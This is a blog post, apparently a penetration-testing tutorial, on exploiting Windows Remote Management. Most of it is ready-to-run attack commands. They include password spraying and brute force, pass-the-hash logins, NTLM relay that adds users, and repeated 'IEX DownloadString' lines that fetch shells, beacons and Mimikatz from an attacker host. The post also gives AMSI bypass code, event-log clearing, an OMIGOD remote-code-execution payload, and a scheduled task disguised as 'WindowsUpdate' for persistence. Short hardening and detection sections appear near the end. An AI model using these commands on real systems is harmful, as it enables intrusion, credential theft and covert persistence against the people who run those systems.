← Back to list

WinRM — Port 5985, 5986 — How to exploit?

WinRM is essentially an HTTP-based interface for Windows Management Instrumentation (WMI), using SOAP to facilitate communication. Think of…

Very Lazy Tech 👾 · 2026-03-09 10:06 · 70 claps · 11.4 min read paywalled
#winrm #penetration-testing #bug-bounty #exploitation #ethical-hacking
Open on Medium ↗
Wiki topics: BIZ · Business Strategy 🔒 · Cybersecurity

WinRM — Port 5985, 5986 — How to exploit?

WinRM is essentially an HTTP-based interface for Windows Management Instrumentation (WMI), using SOAP to facilitate communication. Think of it as “SSH for Windows” — it allows administrators to execute commands and scripts remotely on Windows machines.

Default Ports

  • 5985/tcp — WinRM HTTP (unencrypted)
  • 5986/tcp — WinRM HTTPS (encrypted with TLS)

The presence of these open ports typically indicates that remote PowerShell access is configured and potentially accessible.

Architecture

When you connect via WinRM, the service creates a new process (wsmprovhost.exe) on the target system that handles your remote session. This process runs under the context of the authenticated user.

Photo by Tadas Sar on Unsplash

Photo by Tadas Sar on Unsplash

Reconnaissance & Enumeration

Port Scanning

Start with identifying WinRM services using Nmap:

# Basic scan
nmap -p 5985,5986 -sV -sC <target-ip>

# More detailed enumeration
nmap -p 5985,5986 -sV -sC --script http-methods,http-auth <target-ip>
# Scan entire subnet
nmap -p 5985,5986 -sV <target-subnet>/24 -oA winrm-scan

Banner Grabbing

# Using netcat
nc -nv <target-ip> 5985

# Using curl
curl -v http://<target-ip>:5985/wsman
# Check for HTTPS
curl -k -v https://<target-ip>:5986/wsman

Windows-Based Testing

If you’re testing from a Windows machine, you can verify WinRM configuration:

# Test if WinRM is configured on target
Test-WSMan <target-ip>

# Test with credentials
Test-WSMan -ComputerName <target-ip> -Credential (Get-Credential) -Authentication Negotiate
# Check WinRM service status locally
Get-Service WinRM
winrm get winrm/config

Expected output from a properly configured target:

wsmid           : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor   : Microsoft Corporation
ProductVersion  : OS: 0.0.0 SP: 0.0 Stack: 3.0

Shodan Queries

Find WinRM services exposed on the internet:

port:5985 Microsoft-HTTPAPI
port:5986 Microsoft-HTTPAPI

Authentication Methods

WinRM supports multiple authentication methods:

  1. Kerberos (default for domain-joined machines)
  2. NTLM (fallback, works with local accounts)
  3. Basic (username/password, requires HTTPS)
  4. Certificate (client certificate authentication)
  5. CredSSP (allows credential delegation)

Credential-Based Attacks

Username Enumeration

Before brute-forcing, try to enumerate valid usernames:

# Using kerbrute (if Kerberos is enabled)
kerbrute userenum --dc <dc-ip> -d <domain> users.txt

# Using enum4linux
enum4linux -U <target-ip>
# Using CrackMapExec
crackmapexec smb <target-ip> --users

Brute Force Attacks

Warning: Be cautious with brute-forcing WinRM as it can lock out accounts. Always check the account lockout policy first.

Using CrackMapExec

# Single credential test
crackmapexec winrm <target-ip> -u administrator -p 'Password123!'

# Username list + password list
crackmapexec winrm <target-ip> -u users.txt -p passwords.txt
# Using NTLM hash
crackmapexec winrm <target-ip> -u administrator -H <ntlm-hash>
# Check access without executing commands
crackmapexec winrm <target-ip> -u administrator -p 'Password123!' --continue-on-success
# Execute command upon success
crackmapexec winrm <target-ip> -u administrator -p 'Password123!' -x 'whoami'
# Execute PowerShell command
crackmapexec winrm <target-ip> -u administrator -p 'Password123!' -X '$PSVersionTable'

Using Hydra

# Single username
hydra -l administrator -P passwords.txt <target-ip> winrm

# Multiple usernames
hydra -L users.txt -P passwords.txt <target-ip> winrm
# Verbose output with 4 parallel tasks
hydra -t 4 -V -l administrator -P passwords.txt winrm://<target-ip>

Using Metasploit

use auxiliary/scanner/winrm/winrm_login
set RHOSTS <target-ip>
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run

Password Spraying

Password spraying is safer than brute-forcing as it uses one password across many usernames:

# Using CrackMapExec
crackmapexec winrm <target-subnet>/24 -u users.txt -p 'Winter2024!' --continue-on-success

# Using spray (custom script)
for user in $(cat users.txt); do
    crackmapexec winrm <target-ip> -u $user -p 'Password123!' | grep '+'
done

Post-Authentication Exploitation

Evil-WinRM (Primary Tool)

Evil-WinRM is the go-to tool for WinRM exploitation. Install it:

# Install
gem install evil-winrm

# Or use Docker
docker pull oscarakaelvis/evil-winrm

Basic Connection

# Username + Password
evil-winrm -i <target-ip> -u administrator -p 'Password123!'

# Username + Hash (Pass-the-Hash)
evil-winrm -i <target-ip> -u administrator -H <ntlm-hash>
# Domain credentials
evil-winrm -i <target-ip> -u 'domain\username' -p 'Password123!'
# Use HTTPS (port 5986)
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -S
# Custom port
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -P 5986
# Specify realm for Kerberos
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -r domain.local

Advanced Evil-WinRM Features

Kerberos Authentication (v3.x+)

# Using Kerberos ticket
evil-winrm -i <target-ip> -u j.doe -k --spn HTTP/<target-ip>

# Request Kerberos ticket first
kinit j.doe@DOMAIN.LOCAL
evil-winrm -i dc01.domain.local -k

Certificate-Based Authentication

evil-winrm -i <target-ip> --cert-pem cert.pem --key-pem key.pem

File Operations

# Upload file (in evil-winrm session)
upload /local/path/file.exe C:\Windows\Temp\file.exe

# Download file
download C:\Windows\Temp\loot.txt /local/path/loot.txt
# Upload and execute
upload /opt/mimikatz.exe C:\Windows\Temp\mimikatz.exe
./mimikatz.exe

Script Execution

# Load PowerShell script in memory
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -s /opt/scripts/

# Then in the session:
Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

Binary Execution

# Load binary directory
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -e /opt/binaries/

# Then in the session:
menu
Invoke-Binary /opt/binaries/winPEAS.exe

Session Logging

# Enable logging
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -L session.log

Bypass AMSI

# Evil-WinRM automatically attempts AMSI bypass, but you can also:
evil-winrm -i <target-ip> -u administrator -p 'Password123!'

# Then manually:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

PowerShell-Based Connections

From Windows Systems

Create Credential Object

# Prompt for credentials
$cred = Get-Credential

# Or create programmatically
$password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('administrator', $password)
# Domain credentials
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $password)
# Local account (note the .\ prefix)
$cred = New-Object System.Management.Automation.PSCredential('.\localadmin', $password)

Interactive Session

# Enter remote session
Enter-PSSession -ComputerName <target-ip> -Credential $cred

# With different authentication
Enter-PSSession -ComputerName <target-ip> -Credential $cred -Authentication Negotiate
# Bypass proxy
$sessionOption = New-PSSessionOption -ProxyAccessType NoProxyServer
Enter-PSSession -ComputerName <target-ip> -Credential $cred -SessionOption $sessionOption
# Exit session (but keep it in background)
Exit-PSSession

Persistent Sessions

# Create persistent session
$session = New-PSSession -ComputerName <target-ip> -Credential $cred

# Re-enter session
Enter-PSSession -Session $session
# Use session for command execution
Invoke-Command -Session $session -ScriptBlock { whoami }
# Remove session when done
Remove-PSSession -Session $session

Execute Single Commands

# Basic command
Invoke-Command -ComputerName <target-ip> -Credential $cred -ScriptBlock { ipconfig /all }

# With parameters
Invoke-Command -ComputerName <target-ip> -Credential $cred -ScriptBlock { param($user) net user $user } -ArgumentList "testuser"
# Execute local function remotely
function Get-Info { hostname; whoami }
Invoke-Command -ComputerName <target-ip> -Credential $cred -ScriptBlock ${function:Get-Info}

Execute Scripts

# Run local script on remote machine
Invoke-Command -ComputerName <target-ip> -Credential $cred -FilePath C:\scripts\enum.ps1

# Load script into session
$session = New-PSSession -ComputerName <target-ip> -Credential $cred
Invoke-Command -Session $session -FilePath C:\scripts\PowerView.ps1
Invoke-Command -Session $session -ScriptBlock { Get-NetUser }

Get Reverse Shell

Invoke-Command -ComputerName <target-ip> -Credential $cred -ScriptBlock {
    IEX (New-Object Net.WebClient).DownloadString('http://<attacker-ip>/shell.ps1')
}

From Linux Systems

Using pypsrp

# Install
pip3 install pypsrp

from psrp.client import Client

# Create connection
client = Client('target-ip', username='administrator', password='Password123!', ssl=False)
# Execute command
output, streams, had_errors = client.execute_cmd('ipconfig /all')
print(output)
# Execute PowerShell
output, streams, had_errors = client.execute_ps('Get-Process | Select-Object -First 5')
print(output)
# Clean up
client.close()

Using winrm-rb (Ruby)

require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://target-ip:5985/wsman',
  user: 'administrator',
  password: 'Password123!'
)
conn.shell(:powershell) do |shell|
  output = shell.run('Get-Process | Select-Object -First 5')
  puts output.stdout
end

Custom Ruby Script with Upload Capability

require 'winrm-fs'
conn = WinRM::Connection.new(
  endpoint: 'http://target-ip:5985/wsman',
  transport: :plaintext,
  user: 'administrator',
  password: 'Password123!',
  :no_ssl_peer_verification => true
)
file_manager = WinRM::FS::FileManager.new(conn)
# Upload file
file_manager.upload('/local/file.txt', 'C:\Windows\Temp\file.txt')
# Execute commands
conn.shell(:powershell) do |shell|
  output = shell.run('type C:\Windows\Temp\file.txt')
  puts output.stdout
end

Using PowerShell Docker Container

docker run -it quickbreach/powershell-ntlm

# Inside container
$cred = Get-Credential
Enter-PSSession -ComputerName <target-ip> -Authentication Negotiate -Credential $cred

NTLM Relay Attacks

Direct Relay to WinRM (Updated 2023+)

Since Impacket v0.11.0, you can relay NTLM authentication directly to WinRM:

Prerequisites:

  • Target has HTTP WinRM enabled (port 5985)
  • SMB signing not required on the network
  • Valid user authentication coerced

Setup Attack

# Terminal 1: Start ntlmrelayx
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
                   --command "net user pwned P@ssw0rd! /add"

# Terminal 2: Trigger authentication with Responder
sudo responder -I eth0 -wrf
# Or use mitm6 for IPv6 attack
sudo mitm6 -d domain.local

Advanced Relay Commands

# Execute PowerShell
sudo ntlmrelayx.py -t wsman://10.0.0.25 -smb2support \
    --command "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"

# Dump SAM
sudo ntlmrelayx.py -t wsman://10.0.0.25 -smb2support \
    --command "reg save HKLM\SAM C:\Windows\Temp\sam.hive"
# Multiple targets
sudo ntlmrelayx.py -tf targets.txt -smb2support

Mitigations

  • Disable HTTP listener: Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false
  • Enable Extended Protection for Authentication (EPA)
  • Require SMB signing
  • Use HTTPS only for WinRM

Privilege Escalation via WinRM

Loading PowerShell Scripts

# PowerUp
IEX (New-Object Net.WebClient).DownloadString('http://attacker/PowerUp.ps1')
Invoke-AllChecks
# Sherlock
IEX (New-Object Net.WebClient).DownloadString('http://attacker/Sherlock.ps1')
Find-AllVulns
# winPEAS
IEX (New-Object Net.WebClient).DownloadString('http://attacker/winPEASany.exe')

Credential Harvesting

Mimikatz via WinRM

# Load in memory
IEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
# Or upload binary via evil-winrm
upload /opt/mimikatz.exe C:\Windows\Temp\m.exe
./m.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Dump LSASS

# Using procdump
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp

# Download and parse offline
download C:\Windows\Temp\lsass.dmp /local/path/lsass.dmp

Dump SAM/SYSTEM

reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
download C:\Windows\Temp\sam.hive
download C:\Windows\Temp\system.hive

# Parse locally
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

Advanced Techniques

Constrained Language Mode Bypass

If PowerShell is in Constrained Language Mode:

# Check current mode
$ExecutionContext.SessionState.LanguageMode

# Bypass using WSMan COM object
$ws = New-Object -ComObject WSMan.Automation
$session = $ws.CreateSession('http://localhost:5985/wsman', 0, $null)
$cmdId = $session.Command('cmd.exe', @('/c', 'whoami'))
$session.Signal($cmdId, 0)

Certificate-Based Authentication Exploitation

If certificate authentication is enabled:

# Generate certificate request
openssl req -newkey rsa:2048 -nodes -keyout client.key -out client.csr

# After getting signed cert
evil-winrm -i <target-ip> --cert-pem client.pem --key-pem client.key

WinRM + CredSSP for Double-Hop

CredSSP allows credential delegation (double-hop):

# Enable CredSSP on attacker machine
Enable-WSManCredSSP -Role Client -DelegateComputer *

# Connect with CredSSP
$cred = Get-Credential
Enter-PSSession -ComputerName target1 -Credential $cred -Authentication CredSSP
# Now you can access other machines
Enter-PSSession -ComputerName target2 -Credential $cred

Forcing WinRM Remotely

If WinRM isn’t enabled but you have credentials:

# Using PsExec
psexec.py domain/user:password@target-ip "powershell -c Enable-PSRemoting -Force"

# Using wmic (from Windows)
wmic /node:target-ip /user:administrator /password:Password123! process call create "powershell Enable-PSRemoting -Force"
# Using Impacket
atexec.py domain/user:password@target-ip 'powershell -c "Enable-PSRemoting -Force"'

Cloud-Specific: Azure OMI Exploitation

OMIGOD (CVE-2021–38647)

Azure Linux VMs use OMI (Open Management Infrastructure) which exposes WS-MAN on ports 5985/5986:

Exploitation

# Unauthenticated RCE
curl -X POST http://target:5985/wsman \
  -H "Content-Type: application/soap+xml;charset=UTF-8" \
  -d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
        <s:Header>
          <a:To>HTTP://target:5985/wsman</a:To>
          <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
          <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
        </s:Header>
        <s:Body>
          <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
            <p:command>whoami</p:command>
          </p:ExecuteShellCommand_INPUT>
        </s:Body>
      </s:Envelope>'

Mitigation:

  • Update OMI to version ≥ 1.6.8–1
  • Block ports 5985/5986 from the internet
  • Use Azure NSG to restrict access

Lateral Movement

One-Liner Lateral Movement

# Execute command on multiple machines
$targets = @('server1', 'server2', 'server3')
$cred = Get-Credential
foreach ($target in $targets) {
    Invoke-Command -ComputerName $target -Credential $cred -ScriptBlock { whoami }
}

# Deploy implant
$targets = Get-Content targets.txt
foreach ($target in $targets) {
    Invoke-Command -ComputerName $target -Credential $cred -ScriptBlock {
        IEX (New-Object Net.WebClient).DownloadString('http://attacker/agent.ps1')
    }
}

Using CrackMapExec for Spray

# Execute on all accessible hosts
crackmapexec winrm targets.txt -u administrator -H <hash> -x "whoami" --continue-on-success

# Deploy beacon
crackmapexec winrm targets.txt -u administrator -p 'Password123!' -X 'IEX (New-Object Net.WebClient).DownloadString("http://attacker/beacon.ps1")'

Defense Evasion

AMSI Bypass

# Method 1: Reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Method 2: Patch
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Logging Evasion

# Disable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0

# Clear event logs
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-WinRM/Operational"

Obfuscation

# Base64 encode commands
$command = 'whoami'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell -encodedCommand $encoded

# Use Invoke-Obfuscation
Import-Module Invoke-Obfuscation.ps1
Invoke-Obfuscation

Detection & Defense

Enable Logging

PowerShell Script Block Logging

# Enable via Group Policy or Registry
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1

WinRM Operational Logging

wevtutil sl "Microsoft-Windows-WinRM/Operational" /e:true

Important Event IDs:

  • Event 91/163: Shell created
  • Event 182: Authentication failure
  • Event 4262 (Security log): Records source IP (added July 2022)

Monitor for Suspicious Activity

# Check active WinRM sessions
Get-PSSession

# Check WinRM event logs
Get-WinEvent -LogName "Microsoft-Windows-WinRM/Operational" -MaxEvents 50
# Find suspicious PowerShell execution
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | 
    Where-Object { $_.Message -match 'mimikatz|invoke-|downloadstring' }

Hardening WinRM

# Disable HTTP, use HTTPS only
Disable-PSRemoting -Force
winrm delete winrm/config/listener?Address=*+Transport=HTTP

# Configure HTTPS listener
$cert = New-SelfSignedCertificate -DnsName "servername" -CertStoreLocation "Cert:\LocalMachine\My"
New-Item -Path WSMan:\localhost\Listener -Transport HTTPS -Address * -CertificateThumbprint $cert.Thumbprint -Force
# Restrict allowed IPs
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.100,192.168.1.101"
# Enable Extended Protection for Authentication (EPA)
Set-Item WSMan:\localhost\Service\Auth\CbtHardeningLevel -Value Strict
# Require Kerberos only
Set-Item WSMan:\localhost\Service\Auth\Kerberos -Value $true
Set-Item WSMan:\localhost\Service\Auth\Negotiate -Value $false
Set-Item WSMan:\localhost\Service\Auth\Basic -Value $false

Network Segmentation

  • Restrict WinRM access to management VLANs only
  • Use host-based firewall rules:
# Allow only from specific IPs
New-NetFirewallRule -DisplayName "WinRM-HTTP-Restricted" -Direction Inbound -Protocol TCP -LocalPort 5985 -RemoteAddress 192.168.1.0/24 -Action Allow

Common Issues & Troubleshooting

Connection Errors

Error: “The WinRM client cannot process the request”

# On attacking machine, add target to trusted hosts
winrm set winrm/config/client '@{TrustedHosts="target-ip"}'

# Or use wildcard (less secure)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force

Error: “Access is denied”

  • Verify credentials are correct
  • Check if user is in “Remote Management Users” group
  • Verify firewall isn’t blocking connection

Error: “Connection refused”

  • WinRM service not running: Start-Service WinRM
  • Firewall blocking: Enable-PSRemoting -Force
  • Listener not configured: Check with winrm enumerate winrm/config/listener

IPv6 Connections with Evil-WinRM

# Add to /etc/hosts
echo "dead:beef::1 target.local" >> /etc/hosts

# Connect using hostname
evil-winrm -i target.local -u administrator -p 'Password123!'

Practical Attack Scenarios

Scenario 1: Internal Penetration Test

Goal: Gain access to domain controller via WinRM

# 1. Discover WinRM hosts
nmap -p 5985,5986 -sV 192.168.1.0/24 -oG winrm-hosts.txt

# 2. Enumerate users via SMB
crackmapexec smb 192.168.1.0/24 --users > users.txt
# 3. Password spray
crackmapexec winrm 192.168.1.0/24 -u users.txt -p 'Winter2024!' --continue-on-success
# 4. Connect to compromised host
evil-winrm -i 192.168.1.50 -u j.doe -p 'Winter2024!'
# 5. Enumerate domain
upload /opt/PowerView.ps1
Import-Module ./PowerView.ps1
Get-DomainController
Find-LocalAdminAccess
# 6. Lateral movement to DC
$cred = Get-Credential
Enter-PSSession -ComputerName DC01 -Credential $cred

Scenario 2: Post-Exploitation

Goal: Establish persistence and exfiltrate data

# 1. Create backdoor user
net user backdoor P@ssw0rd! /add
net localgroup administrators backdoor /add
net localgroup "Remote Management Users" backdoor /add

# 2. Dump credentials
upload /opt/mimikatz.exe
./mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > creds.txt
download C:\Windows\Temp\creds.txt
# 3. Search for sensitive files
Get-ChildItem -Path C:\ -Include *.xlsx,*.docx,*password*,*confidential* -Recurse -ErrorAction SilentlyContinue
# 4. Exfiltrate data
Compress-Archive -Path C:\Sensitive\* -DestinationPath C:\Windows\Temp\loot.zip
download C:\Windows\Temp\loot.zip
# 5. Establish persistence
$trigger = New-ScheduledTaskTrigger -AtStartup
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/beacon.ps1')"
Register-ScheduledTask -TaskName "WindowsUpdate" -Trigger $trigger -Action $action -RunLevel Highest

Scenario 3: NTLM Relay Chain

Goal: Relay from compromised workstation to sensitive servers

# 1. Compromise workstation via phishing
# 2. Setup relay on compromised host
upload /opt/ntlmrelayx.py
python ntlmrelayx.py -t wsman://10.0.0.50 -smb2support

# 3. Trigger authentication from other users
# (via various methods - printer bug, forced auth, etc.)
# 4. Execute on relayed session
# Commands defined in ntlmrelayx configuration

Tool Reference

Must-Have Tools

  1. Evil-WinRM — Primary WinRM exploitation tool
  2. CrackMapExec — Network enumeration and exploitation
  3. Impacket — NTLM relay and remote execution
  4. PowerView — Domain enumeration
  5. Mimikatz — Credential dumping
  6. Rubeus — Kerberos exploitation

Installation Commands

# Evil-WinRM
gem install evil-winrm

# CrackMapExec
pipx install crackmapexec
# Impacket
git clone https://github.com/fortra/impacket.git
cd impacket
pip install .
# Or use via Docker
docker pull byt3bl33d3r/crackmapexec

Cheat Sheet

Quick Reference Commands

# Enumeration
nmap -p 5985,5986 -sV <target>
crackmapexec winrm <target> -u '' -p ''

# Authentication Testing
crackmapexec winrm <target> -u admin -p 'password'
crackmapexec winrm <target> -u admin -H <hash>
# Connection
evil-winrm -i <target> -u admin -p 'password'
evil-winrm -i <target> -u admin -H <hash>
# File Operations
upload /local/file C:\remote\file
download C:\remote\file /local/file
# PowerShell Session
$cred = Get-Credential
Enter-PSSession -ComputerName <target> -Credential $cred
Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock { whoami }
# NTLM Relay
ntlmrelayx.py -t wsman://<target> -smb2support --command "cmd"
# Lateral Movement
crackmapexec winrm targets.txt -u admin -p 'password' -x "whoami"

Conclusion

WinRM presents a significant attack surface when misconfigured or left accessible. As a penetration tester, understanding how to enumerate, exploit, and move laterally through WinRM services is critical for modern Windows environment assessments.

Key Takeaways:

  1. Always check for WinRM during network reconnaissance
  2. Password spraying is safer than brute-forcing
  3. Evil-WinRM is your primary tool for exploitation
  4. NTLM relay attacks can bypass credentials entirely
  5. Proper logging and monitoring are essential for defense
  6. Disable HTTP listeners and use HTTPS with EPA
  7. Restrict WinRM access to management networks only

🚀 Become a VeryLazyTech Member — Get Instant Access

What you get today:

70GB Google Drive packed with cybersecurity content

3 full courses to level up fast

👉 Join the Membershiphttps://shop.verylazytech.com

📚 Need Specific Resources?

✅ Instantly download the best hacking guides, OSCP prep kits, cheat sheets, and scripts used by real security pros.

👉 Visit the Shophttps://shop.verylazytech.com

💬 Stay in the Loop

Want quick tips, free tools, and sneak peeks?

https://x.com/verylazytech/

| 👾 https://github.com/verylazytech/

| 📺 https://youtube.com/@verylazytech/

| 📩 https://t.me/+mSGyb008VL40MmVk/

| 🕵️‍♂️ https://www.verylazytech.com/


메타데이터
post_id
e6ecc660dc3b
slug
winrm-port-5985-5986-how-to-exploit-e6ecc660dc3b
url
https://medium.com/@verylazytech/winrm-port-5985-5986-how-to-exploit-e6ecc660dc3b
canonical_url
https://medium.com/@verylazytech/winrm-port-5985-5986-how-to-exploit-e6ecc660dc3b
author_url
https://medium.com/@verylazytech
status
ok
fetched_at
2026-07-12 02:25:03